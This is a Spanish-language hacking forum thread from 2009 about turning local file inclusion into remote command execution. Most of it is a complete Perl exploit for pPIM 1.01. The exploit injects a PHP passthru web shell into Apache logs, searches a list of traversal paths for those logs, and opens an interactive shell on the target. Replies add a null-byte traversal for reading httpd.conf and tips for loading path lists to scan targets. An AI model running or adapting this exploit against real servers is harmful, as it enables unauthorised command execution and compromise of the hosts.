Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: JosS__! en 23 Febrero 2009, 22:13 pm



Título: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: JosS__! en 23 Febrero 2009, 22:13 pm
Haces escasas horas publiqué un exploit en milw0rm.com, el cual está basado en una técnica muy famosa que nos permite ejecutar comandos mediante LFI, es como un RCE a partir de un LFI.

Exploit:

Código:
#!/usr/bin/perl
####################################################################
# pPIM 1.01 (notes.php id) Remote Command Execution Exploit
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: Jose Luis Gongora Fernandez (a.k.a) JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# joss@h4x0rz:~/Desktop$


        use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;


@apache=(
        "../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

        print "#######################################################################\n";
        print "# pPIM 1.01 (notes.php id) Remote Command Execution Exploit | By JosS #\n";
        print "#######################################################################\n\n";


        if (!$ARGV[0])
           {
             print "Usage: perl exploit.pl [host]\n";
             print "       perl exploit.pl localhost\n\n";
        exit;}

$host=$ARGV[0];
        $path="/notes.php?mode=edit&id="; # change if it is necesary

# if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}

print "\nTrying to Inject the Code...\n";
$CODE="<? passthru(\$_GET[cmd]) ?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /images/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

if ( $host   !~   /^http:/ ) {$host = "http://" . $host;}

foreach $getlog(@apache)
                {
                  chomp($getlog);         
  $find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
                  $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  $req = HTTP::Request->new(GET => $find);
  $res = $xpl->request($req);
  $info = $res->content;
                  if($info =~ /\#\#\%\$\$\%\#\#/) # change if it is necesary
                  {print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
                }

print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );

while($cmd !~ "exit") {   
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
}

         
        # __h0__

Mirror: http://milw0rm.com/exploits/8093

Propósito del TOPIC: La principal razón de este topic es para que la gente aprenda a implementar en sus propios exploits la forma de hacer un RCE mediante LFI, además estaré aquí para cualquier duda que se prensete.

Un saludo.


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: Azielito en 23 Febrero 2009, 23:53 pm
Yo hace tiempo tube un problemilla al cargar los logs de apache bajo free BSD, habra la posibilidad de cargar un archivo de ubicación de logs en el script?

(creo que tengo que aprender perl ¬¬)


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
Publicado por: JosS__! en 24 Febrero 2009, 00:07 am
a que te refieres con 'cargar'?, explícate un poco mejor a ver si te puedo ayudar.

Un saludo.


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: WHK en 24 Febrero 2009, 02:48 am
Hola, creo entender que te refieres a poder hacer ina inclusión al archivo de logs pero en el caso de que bsd no tenga por defecto el mismo directorio de logs puedes sacarlo atraves del httpd.conf..

Citar
echo nl2br(htmlspecialchars(LFI_GET('../../../../../etc/httpd/conf/httpd.conf%00'), ENT_QUOTES));
(es solo un ejemplo)

Con esto ya podrás ver la libnea donde se aloja el directorio de logs:
Citar
CustomLog "c:/wamp/logs/access.log" common
Este es mi caso porque uso un wamp pero en linux debería aparecer la ruta exacta de logs.

PD: JosS__! muchas gracias por tu aporte, de seguro le podrá servir a muchos.


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: Azielito en 24 Febrero 2009, 19:45 pm
me refiero a ahcer algo asi

Código
  1. $logs = file("logs.txt");
  2. $lineas = count($logs);
  3. for($i=0; $i < $lineas; $i++){
  4.       echo $logs[$i];
  5. }

pero en perl, o sea, en ese archivo "logs.txt" tenemos todas las rutas posibles en diferentes sistemas y vamos leyendo linea a linea para comprarar esa cadena (la ubicacion del archivo log) :D

o sea, algo asi como "leer de una base de datos la ubicacion de logs" usando un archivo de texto :D

p


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
Publicado por: JosS__! en 24 Febrero 2009, 22:56 pm
por supuesto que se puede ... pero tienes algún problema con eso? o solo preguntabas si se podía?

saludos


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: Azielito en 25 Febrero 2009, 01:20 am
Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: WHK en 25 Febrero 2009, 02:15 am
Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')

Azielito si todos nacieramos sabiendo no creo que todavía estubieramos viviendo dependizados del petroleo.

Código
  1. #!/usr/local/perl
  2. open(manejador, 'auditorias.txt'); # abre los links
  3. $cantidad = 0;
  4. while(<manejador>){ # while por cada linea hasta que sea null (haya terminado)
  5. $cantidad++;
  6. chomp; # Termina la cadena
  7. apache[$cantidad] = $_;
  8. }

Con esto puedes reemplazar el array de @apache para que cada linea del texto se transforme en un array.

De esta misma forma hasta puedes separar por funciones y hacer escaneos para LFI, RFI, SQLI etc anteponiendo un id al comienzo de cada ruta como por ejemplo LFI:RUTA y con split separas lo que vas a auditar con la ruta y vas testeando y enviando los datos a la función correspondiente.


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: Azielito en 25 Febrero 2009, 16:10 pm
wow '_'

al final es muuuuuuy similar a PHP :xD

ahora mismo lo pruebo :D gracias




eso de hacer escaneos para LFI, RFI, SQLi no se me habia ocurrido, asi con un solo script sabras todo >.<

ahora me pongo a estudiar perl :')


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: Novlucker en 25 Febrero 2009, 17:05 pm
Agrega python  :P , que se está dando a conocer y muchos exploits y tools están apareciendo en ese lenguaje, perl lo aprendí por lo mismo  ;D

Saludos


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: WHK en 26 Febrero 2009, 03:19 am
Es genial hacer algún PoC en python pero ya muchos se acostumbran al perl y por lo general es como el standard.
Ahora último se han estado haciendo muchos exploits en php para ser utilizados desde la linea de comandos porque a veces llega a ser más fácil de usar que perl y un tanto mas flexible y al igual que python es multiplataforma.

El mejor lugar para ir aprendiendo es de los mismos exploits desde milw0rm y sitios similares donde se muestren pruevas de concepto.


Título: Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
Publicado por: berz3k en 25 Marzo 2009, 00:04 am
@JosS__!

Es bueno el code, hacerlo de forma automatica injectando sobre los paths logs es interesante, aunque no siempre funcionara, depende de permisos , un install default etc, si tenemos suerte el pwn3d sera exitoso.

-berz3k.